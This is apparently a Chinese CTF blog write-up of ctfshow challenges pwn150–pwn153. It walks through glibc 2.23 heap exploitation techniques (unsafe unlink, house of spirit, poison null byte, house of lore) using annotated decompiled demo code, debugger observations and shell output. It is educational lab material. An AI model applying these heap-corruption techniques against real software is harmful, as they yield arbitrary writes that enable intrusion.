ctfshow:堆前置pwn150~pwn153
本文最后更新于137 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

pwn150(unsafe_unlink)

unsafe_unlink


继续学习新知识,先来checksec一下

64位开了canary和nx

本地运行一下

faetong@faetong-virtual-machine:~/pwnit$ ./pwn150
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
  ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                           
 ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
 ██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
 ██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██ 
  ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀ 
    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
    * *************************************                           
    * Classify: CTFshow --- PWN --- 入门                              
    * Type  : Heap_Exploitation                                       
    * Site  : https://ctf.show/                                       
    * Hint  : Unsafe_Unlink                                           
    * *************************************                           
当你在已知位置有指向某个区域的指针时,可以调用 unlink
最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针
本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入

全局变量 chunk0_ptr 在 0x6020d0, 指向 0x2687b2a0
我们想要破坏的 chunk 在 0x2687b330
在 chunk0 那里伪造一个 chunk
我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.
我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.
通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk 的 fd: 0x6020b8
Fake chunk 的 bk: 0x6020c0

现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据
通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的
如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 0x80
接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块

现在释放掉 chunk1,会触发 unlink,合并两个 free chunk
此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置
chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。
之前的值是: Hello!~
新的值是: Hello!~
$sh
$ $ ls
flag  pwn150
$ cat flag
flag{Inoue_Takina}
$ 

这个文字有点看不懂,接下来先不着急,问问知识点

首先unsafe_unlink是什么:

unsafe unlink 是 glibc 早期堆管理的一类漏洞利用方式
利用 free 合并(unlink)时的链表操作漏洞
来实现 任意地址写(Arbitrary Write)

这种利用方式依赖于:

  • glibc 版本较老(如 2.23–2.27)
  • 使用 fastbin 之前的 normal bin / small bin / unsorted bin unlink 机制
  • unlink 操作里检查不严格(没有完整的安全校验,只有 FD->bk == P && BK->fd == P)

这道题的核心操作就是: 用 free 操作破坏全局指针 chunk0_ptr,使其指向我们想要的位置,从而覆盖任意内容。

接下来需要读读代码,了解整个过程干了什么,方便调试:

主要看demo:

void __cdecl demo()
{
  uint64_t *chunk1_ptr; // [rsp+10h] [rbp-20h]
  uint64_t *chunk1_hdr; // [rsp+18h] [rbp-18h]
  char victim_string[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fwrite(&ptr_, 1u, 0x4Du, stderr);
  fwrite(&ptr__0, 1u, 0x55u, stderr);
  fwrite(&ptr__1, 1u, 0x56u, stderr);

  //创建两个chunk
  chunk0_ptr = (uint64_t *)malloc(0x80u);
  chunk1_ptr = (uint64_t *)malloc(0x80u);
  fprintf(stderr, &format_, &chunk0_ptr, chunk0_ptr);
  fprintf(stderr, &format__0, chunk1_ptr);
  fwrite(&ptr__2, 1u, 0x24u, stderr);
  fwrite(&ptr__3, 1u, 0x66u, stderr);

  //下面是在伪造fake chunk
  // chunk0_ptr[2] 是 fake_chunk.fd
  // 设置 fd = &chunk0_ptr - 3,也就是 chunk0_ptr 地址附近的位置
  chunk0_ptr[2] = (uint64_t)(&chunk0_ptr - 3);
  fwrite(&ptr__4, 1u, 0x6Au, stderr);
  fwrite(&ptr__5, 1u, 0x55u, stderr);

  // chunk0_ptr[3] = fake_chunk.bk
  // 设置 bk = &chunk0_ptr - 2
  chunk0_ptr[3] = (uint64_t)(&chunk0_ptr - 2);
  fprintf(stderr, aFakeChunk, chunk0_ptr[2]);
  fprintf(stderr, aFakeChunk_0, chunk0_ptr[3]);
  fwrite(&ptr__6, 1u, 0x50u, stderr);

  //修改 chunk1 的 metadata
  // chunk1 的 header 从 data 往前 2 个 uint64
  chunk1_hdr = chunk1_ptr - 2;
  fwrite(&ptr__7, 1u, 0x95u, stderr);

  // 第一步:修改 prev_size = 128 (0x80)
  // 这个值必须等于 fake chunk 的 size,使 free 认为前面是 free chunk
  *chunk1_hdr = 128;
  fprintf(stderr, &format__1, *(chunk1_ptr - 2));
  fwrite(&ptr__8, 1u, 0x61u, stderr);

  // 第二步:把 chunk1 的 prev_inuse 标志位清零
  // 即 size 字段最低位 &= ~1
  // 让 free 认为前面 chunk 是 "free 的"
  chunk1_hdr[1] &= ~1uLL;
  fwrite(&ptr__9, 1u, 0x44u, stderr);

  //第四步:free(chunk1) 触发 unsafe unlink
  free(chunk1_ptr);
  // free 时 glibc 检查 chunk1 前面的 chunk 是否 free
  // 由于 prev_inuse=0 且 prev_size=0x80
  // free 会认为 chunk0 的 fake chunk 是 free chunk
  //
  // 它会执行 unlink(fake_chunk)
  // 其中 fd/bk 被伪造为 &chunk0_ptr 附近
  // 于是 unlink 会覆盖 chunk0_ptr ——> 任意地址写发生!
  
  fwrite(&ptr__10, 1u, 0x46u, stderr);

  //第五步:正常写入 victim_string
  strcpy(victim_string, "Hello!~");

  //第六步:利用 chunk0_ptr 写任意地址
  // chunk0_ptr 已经被我们利用 unlink 覆盖,
  // 现在它不再指向原来的堆块,而是我们想要的地址
  chunk0_ptr[3] = (uint64_t)victim_string;
  fwrite(&ptr__11, 1u, 0x5Fu, stderr);
  fprintf(stderr, &format__2, victim_string);

  // 第七步:任意地址写最终效果
  // 由于 chunk0_ptr 现在指向 victim_string
  // *chunk0_ptr = 0x4141414142424242 就写到了 victim_string 里面!
  *chunk0_ptr = 0x4141414142424242LL;
  fprintf(stderr, &format__3, victim_string);
}

其实读完脑子还是发懵把 chunk1 的 prev_inuse 标志位清零还是没看懂

ok初步了解了这个利用过程,我们来调试一下程序,看看利用原理

可能需要先换一换依赖:


首先是创建两个chunk

不对啊,为什么前面这么大个chunk,好像不是2.27

换一换,是2.23

现在两个chunk已经创建好了

然后是伪造fake chunk.fd等一系列操作,我们就运行到free之前

fake fd=0x6020b8,fake bk=0x6020c0,fake fd+0x18=fake bk+0x10=0x6020d0

原本的0x91被改为0x90

表示上一个chunck是释放状态,紧接着

fake prev size=0x80,本来是0x90的size,被篡改了

释放chunck的时候,会检查相邻的chunck是否也是被释放的(检查inuse),然后根据prev size去查找上一个chunck,此时prev size=0x80,那就把fake fd和fake bk当作真正的fd和bk了

然后在free前

free指向的是0x6030a0

然后free


我们看看chunk0_ptr


是已经被改变过了,虽然还是有一点不理解,先拿个flag吧

难的捏…

pwn151(house_of_spirit)

house_of_spirit,又来学习新知识

checksec:


64位开了canary和nx

faetong@faetong-virtual-machine:~/pwnit$ ./pwn151
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
  ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                           
 ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
 ██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
 ██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██ 
  ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀ 
    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
    * *************************************                           
    * Classify: CTFshow --- PWN --- 入门                              
    * Type  : Heap_Exploitation                                       
    * Site  : https://ctf.show/                                       
    * Hint  : House_of_spirit                                         
    * *************************************                           
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7ffdaeb1b128 第二个在 0x7ffdaeb1b168.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7ffdaeb1b130.
free!
现在 malloc 的时候将会把 0x7ffdaeb1b130 给返回回来
malloc(0x30): 0x7ffdaeb1b130
Finish!
$sh
$ $ cat flag
flag{Inoue_Takina}
$ 

依旧看不懂TAT,先了解一下什么是house_of_spirit

house_of_spirit是什么

House of Spirit 是一种堆利用技巧,它允许攻击者把任意地址伪装成一个 chunk,并让 malloc() 返回这个伪造的地址。

利用思路:

  1. 伪造 chunk 头(fake chunk)
  2. 调用 free(fake_chunk) —— 把它丢进 fastbin
  3. 再次 malloc() —— malloc 会从 fastbin 取到这个 fake chunk
  4. 于是用户拿到一个自己任意控制的地址

最终就能把 malloc 的返回值定位到任意可写区域(例如 .bss, 栈,或全局变量区)。

似乎又是涉及到对chunk头的伪造

House of Spirit 的实质

你强行让 glibc 把一个你伪造的 fake chunk 当成正确的 chunk 进行管理。

这个 fake chunk 原本不属于堆,也不是 malloc 分配的。但通过 carefully-crafted headers,glibc 无法区分真假。

再次理解一下为什么要伪造

因为 free(chunk) 会做这些检查:

chunk->size 要满足 fastbin 的范围(≤ 0x78)

chunk->size 的最低 3 bits 要满足 certain rules

  • bit0 (prev_inuse) = 1
    (fastbin 上 chunk 的 P 位不改变)
  • bit1, bit2 必须是 0(因为不在 smallbin/largebin)

了解了一下原理,现在来看看实现过程

来看看代码:

void __cdecl demo()
{
  unsigned __int64 *b; // [rsp+8h] [rbp-68h]
  unsigned __int64 fake_chunks[10]; // [rsp+10h] [rbp-60h] BYREF
  __int64 v2; // [rsp+60h] [rbp-10h]
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fwrite(&ptr_, 1u, 0x2Du, stderr);
  fwrite(&ptr__0, 1u, 0x64u, stderr);
  malloc(1u);
  fwrite(&ptr__1, 1u, 0x25u, stderr);
  fprintf(stderr, &format_, 80, &fake_chunks[1], &fake_chunks[9]);
  fwrite(&ptr__2, 1u, 0xCBu, stderr);

  //构造 fake chunk 的 size 字段
  //fake_chunks[1](地址) = fake_chunk->size = 0x40  
  //0x40 是 fastbin 的合法大小(对应 malloc(0x30)
  fake_chunks[1] = 64;
  fwrite(&ptr__3, 1u, 0x53u, stderr);

  //构造 next chunk 的 size 字段
  //4660 = 0x1234,这是 next_chunk->size 的值
  //free() 会检查 next chunk 大小必须:
  //- >= 0x10
  //- < av->system_mem (128KB)
  //- alignment 正确
  //0x1234 满足条件,所以 free() 会认为这是合法的“下一个 chunk”。
  fake_chunks[9] = 4660;

  //构造 fake chunk 的 fd 内容
  fake_chunks[2] = 0x4141414141414141LL;
  v2 = 0x4141414141414141LL;
  fprintf(stderr, &format__0, &fake_chunks[2]);
  fwrite("free!\n", 1u, 6u, stderr);

  //释放 fake chunk 
  free(&fake_chunks[2]);
  /*
  因为上一步 free(fake_chunk)已经把 fake chunk 链到了 fastbin[0x40] 中
  所以 malloc(0x30) 会返回 fake chunk 的用户区地址
  b == &fake_chunks[2]
  */
  fprintf(stderr, &format__1, &fake_chunks[2]);

  //malloc 取出 fake chunk
  b = (unsigned __int64 *)malloc(0x30u);
  fprintf(stderr, "malloc(0x30): %p\n", b);

  //测试写入
  *b = 0x4242424242424242LL;
  fwrite("Finish!\n", 1u, 8u, stderr);
}

ok基本流程了解了,可以调试一下程序了

在free之前某处的chunk:

在演示中我们知道0x7fffffffde08是fake chunk1的地址

我们从0x7fffffffde00去看一个完整的chunk

可以发现chunk已经伪造好了,之前伪造的size和fd也是能一眼看到

现在chunk就满足检查的条件可以被free了


可以发现fake chunk1已经进入了fastbin之后我们可以把它申请回来

已经可以写入了,改变了栈上的值

最后拿个flag


pwn152(poison_null_byte)

poison_null_byte

这个知识还没有见过呢hh,先checksec一下


64位开了canary和nx,运行一下看看演示

faetong@faetong-virtual-machine:~/pwnit$ ./pwn152
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
  ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                           
 ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
 ██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
 ██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██ 
  ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀ 
    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
    * *************************************                           
    * Classify: CTFshow --- PWN --- 入门                              
    * Type  : Heap_Exploitation                                       
    * Site  : https://ctf.show/                                       
    * Hint  : Posion_null_byte                                        
    * *************************************                           
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x1eace2a0
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x1eace3b0
c: 0x1eace5c0
另外再申请了一个 chunk c:0x1eace6d0,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x1eace7e0
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0
但是我们之前写 0x200 那个地方已经改成了: 200
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x1eace8f0
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x1eace980,我们填充一下 d 为 "D"
现在 b2 的内容就是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$sh 
$ $ cat flag
flag{Inoue_Takina}
$ 

前面还能看懂,但是后面就有些懵了

什么是poison_null_byte(又叫 Off-by-Null )

Poison Null Byte = 利用一个字节的溢出,将下一个 chunk 的 size 字段尾字节清零,进而欺骗 unlink 合并机制,最终实现堆块重叠(overlapping chunks)。

大白话总结:

只要你能向下一个 chunk 的 size 多写一个字节 0x00,就能把它的 size 改小,欺骗 GLIBC,让你强行拿到本不属于你的 chunk。

好像又是想办法改size

为什么清零一个 byte 就能破坏 chunk 的 size?

因为 chunk size 是 8 字节对齐:

例如 chunk b 的 size = 0x211

尾字节是 0x11

0x0000000000000211


如果我们 off-by-null 溢出,把尾字节写成 0x00:

0x0000000000000200


size 就变成:

0x200(512)

chunk b 的大小被强行缩小了(本来是 0x211)。

这一步就是核心:利用 off-by-one 写 0x00 改写 size。、

为什么可以利用

free() 合并 chunk 时要进行检查:

合并的条件(关键):

next_chunk->prev_size == this_chunk->size

如果我们把 size 改小,就可以制造一个假的 size,使两个 chunk“匹配”,从而合并出一个大 chunk。

最终结果就是:

你可以制造两个 chunk 重叠,从而覆盖不应该覆盖的数据


代码注释,理清步骤

void __cdecl demo()
{
  int real_a_size; // [rsp+4h] [rbp-4Ch]
  uint8_t *ptr; // [rsp+8h] [rbp-48h]
  uint8_t *b; // [rsp+10h] [rbp-40h]
  uint8_t *c; // [rsp+18h] [rbp-38h]
  void *barrier; // [rsp+20h] [rbp-30h]
  uint8_t *b1; // [rsp+38h] [rbp-18h]
  uint8_t *b2; // [rsp+40h] [rbp-10h]
  uint8_t *d; // [rsp+48h] [rbp-8h]

  fwrite(&ptr_, 1u, 0x35u, stderr);
  fwrite(&ptr__0, 1u, 0x19u, stderr);

  //chunka
  ptr = (uint8_t *)malloc(0x100u);
  fprintf(stderr, aA, ptr);
  real_a_size = malloc_usable_size(ptr);
  fprintf(stderr, &format_, (unsigned int)real_a_size);

  //创建chunkb和chunkc
  b = (uint8_t *)malloc(0x200u);
  fprintf(stderr, "b: %p\n", b);
  c = (uint8_t *)malloc(0x100u);
  fprintf(stderr, "c: %p\n", c);

  //分配 barrier,防止 c 合并 top chunk
  barrier = malloc(0x100u);
  fprintf(stderr, &format__0, barrier);
  fwrite(&ptr__1, 1u, 0x70u, stderr);

  //伪造 b 的 next chunk 的 prev_size
  *((_QWORD *)b + 62) = 512;

  //先 free(b),这样 b 进入 unsorted bin
  free(b);
  fprintf(stderr, aB, *((_QWORD *)b - 1));
  fwrite(&ptr__2, 1u, 0x52u, stderr);

  //off-by-null 漏洞触发:写 0x00
  ptr[real_a_size] = 0;
  // ptr 的 length = 0x100,但我们写 real_a_size 的位置
  // real_a_size = chunk a 的真实大小 = 0x108
  // real_a_size 处是 chunk b 的 size 最后一字节!
  // 所以这是 Poison Null Byte 关键操作
  
  fprintf(stderr, aB_0, *((_QWORD *)b - 1));
  fprintf(stderr, aC, *((_QWORD *)c - 2));
  fprintf(stderr, &format__1, *((_QWORD *)b - 1), *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]);
  b1 = (uint8_t *)malloc(0x100u);
  fprintf(stderr, &format__2, b1);
  fprintf(stderr, &format__3, *((_QWORD *)c - 2));
  fprintf(stderr, &format__4, *((_QWORD *)c - 4));
  fwrite(&ptr__3, 1u, 0x2Eu, stderr);

  //申请b2受害者
  b2 = (uint8_t *)malloc(0x80u);
  fprintf(stderr, aB2, b2);
  memset(b2, 66, 0x80u);
  fprintf(stderr, &format__5, b2);
  fwrite(&ptr__4, 1u, 0x87u, stderr);
  free(b1);
  free(c);
  fwrite(&ptr__5, 1u, 0x4Cu, stderr);

  //malloc 一个大块覆盖 b2
  d = (uint8_t *)malloc(0x300u);
  fprintf(stderr, aD, d);
  memset(d, 68, 0x300u);
  fprintf(stderr, &format__6, b2);
}

调试一下,看看变化

首先是申请了4个chunk


我们现在关注chunkb


free以后


可以看到chunkb归入了unsortedbin


接下来就是写入0x00


size已经发生了变化,变成了0x200,让 unlink 检查通过:

chunksize(B) == prev_size(C)


接下来申请b1


接着我们就要释放2,3

现在他们是被合并了,

free(b1) 和 free(c) → 合并成大 chunk

虽然中间有 chunk b2,但也会被包含进去!

malloc 大 chunk 覆盖 b2

获得堆块重叠 overlapping chunk primitive。


可以从下面看看他干了些啥


然后就是申请回来,写入数据,就可以改变中途分割的那几个chunck的值了


要写入68(0x44)


可以看到已经入侵了很多的0x44,就是覆盖了chunkb2的内容,最后拿个flag吧

应该就是两面夹击干掉了b2

pwn153(house_of_lore)

house_of_lore,前面学了以下house_of_spirit,现在是house_of_lore

先checskec

64位开了canary和nx

运行一下看看演示

小提示:本地运行可能需要更换libc和ld,可以用patchelf

faetong@faetong-virtual-machine:~/pwnit$ ./pwn153
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
  ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                           
 ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
 ██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
 ██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██ 
  ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀ 
    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
    * *************************************                           
    * Classify: CTFshow --- PWN --- 入门                              
    * Type  : Heap_Exploitation                                       
    * Site  : https://ctf.show/                                       
    * Hint  : House_of_lore                                           
    * *************************************                           
定义了两个数组stack_buffer_1 在 0x7fffa4f547f0
stack_buffer_2 在 0x7fffa4f547d0
申请第一块属于 fastbin 的 chunk 在 0x1b7b010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x1b7b080
Free victim chunk 0x1b7b010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)

这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x1b7b010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7782457c4bd8
victim->bk: 0x7782457c4bd8

现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7782457c4bd8

p4 在栈上 0x7fffa4f54800
$sh
$ $ ls
flag  ld-2.23.so  ld-2.27.so  libc-2.23.so  libc-2.27.so  pwn150  pwn151  pwn152  pwn153
$ cat flag
flag{Inoue_Takina}
$ 

比较重要的就是绕过检查和修改指针,接下来先看看知识点

什么是house_of_lore

通过 small bin 的双向链表完整性检查,把“栈上的伪 chunk”合法地挂进 small bin,让 malloc 返回栈地址。

前提:glibc<=2.27,这道题是2.23

smoll bin使用双向链表

我们需要绕过的检查是:

if (bck->fd != victim)
    malloc_printerr("smallbin corrupted");

注释代码

void __cdecl demo()
{
  const void **victim; // [rsp+10h] [rbp-80h]
  void *p5; // [rsp+20h] [rbp-70h]
  char *p4; // [rsp+38h] [rbp-58h]
  intptr_t *stack_buffer_2[3]; // [rsp+40h] [rbp-50h] BYREF
  intptr_t *stack_buffer_1[4]; // [rsp+60h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+88h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(stack_buffer_1, 0, sizeof(stack_buffer_1));
  memset(stack_buffer_2, 0, sizeof(stack_buffer_2));
  fwrite(&ptr_, 1u, 0x15u, stderr);
  fprintf(stderr, aStackBuffer1, stack_buffer_1);
  fprintf(stderr, aStackBuffer2, stack_buffer_2);

  //申请victim chunk
  victim = (const void **)malloc(0x64u);
  fprintf(stderr, &format_, victim);
  fwrite(&ptr__0, 1u, 0x21u, stderr);
  fwrite(&ptr__1, 1u, 0x88u, stderr);
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;

  //fake chunk size 指向 victim 的chunk header
  //伪造合法 small bin chunk size
  stack_buffer_1[2] = (intptr_t *)(victim - 2);
  //stack_buffer_1->size = victim->size
  
  fwrite(&ptr__2, 1u, 0xCBu, stderr);

  //构造 fake 双向链表,用于绕过small bin的完整性检查
  stack_buffer_1[3] = (intptr_t *)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t *)stack_buffer_1;

  //防止 top 合并
  p5 = malloc(0x3E8u);
  fprintf(stderr, &format__0, p5);
  fprintf(stderr, aFreeVictimChun, victim);

  //释放 victim(进入 fastbin)
  free(victim);
  fwrite(&ptr__3, 1u, 0x28u, stderr);
  fprintf(stderr, "victim->fd: %p\n", *victim);
  fprintf(stderr, "victim->bk: %p\n\n", victim[1]);
  fprintf(stderr, &format__1, victim);

  //触发 fastbin consolidate → small bin
  //fastbin → unsorted bin → small bin
  malloc(0x4B0u);
  fwrite(&ptr__4, 1u, 0x43u, stderr);
  fprintf(stderr, "victim->fd: %p\n", *victim);
  fprintf(stderr, "victim->bk: %p\n\n", victim[1]);
  fwrite(&ptr__5, 1u, 0x5Fu, stderr);

  //漏洞点:覆盖 victim->bk
  victim[1] = stack_buffer_1;
  fwrite(&ptr__6, 1u, 0x35u, stderr);
  fwrite(&ptr__7, 1u, 0x4Eu, stderr);

  //第一次 malloc:取走 victim
  malloc(0x64u);
  fwrite(&ptr__8, 1u, 0x39u, stderr);
  //bin → stack_buffer_1 → stack_buffer_2 → bin

  //第二次 malloc:返回栈地址
  p4 = (char *)malloc(0x64u);
  fwrite("p4 = malloc(100)\n", 1u, 0x11u, stderr);
  fprintf(stderr, asc_4018D8, stack_buffer_2[2]);
  fprintf(stderr, aP4, p4);
  *((_QWORD *)p4 + 5) = demoflag;
}

这道题的攻击流程

来粗略的调试看看这道题的流程

首先申请一个在fastbin范围的chunk

接着就是在伪造fake chunk

我们先把另外一个堆创建好再来看看栈上的情况

现在已经绕过检擦,接下来free victim chunk进入fastbin

fd现在是0


接下来将会再取出时触发机关进入smollbin,然后覆盖bk


接下来是利用smollbin的漏洞覆盖bk

此时bk成为了栈上的地址

然后malloc先取走victim chunk

可以观察bin链表的变化

现在是这样

malloc一次后:


最后malloc返回栈地址


可以看到0x7fffffffde70已经出去了

栈上伪造 small bin chunk

→ fastbin free

→ consolidate 进 small bin

→ 覆盖 victim->bk

→ small bin unlink 检查绕过

→ malloc 返回栈地址


最后拿个flag吧


ok,前置先到这里,因为学多了也不熟练,先往后做几个简单的应用加深理解吧~

继续学习ing...
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇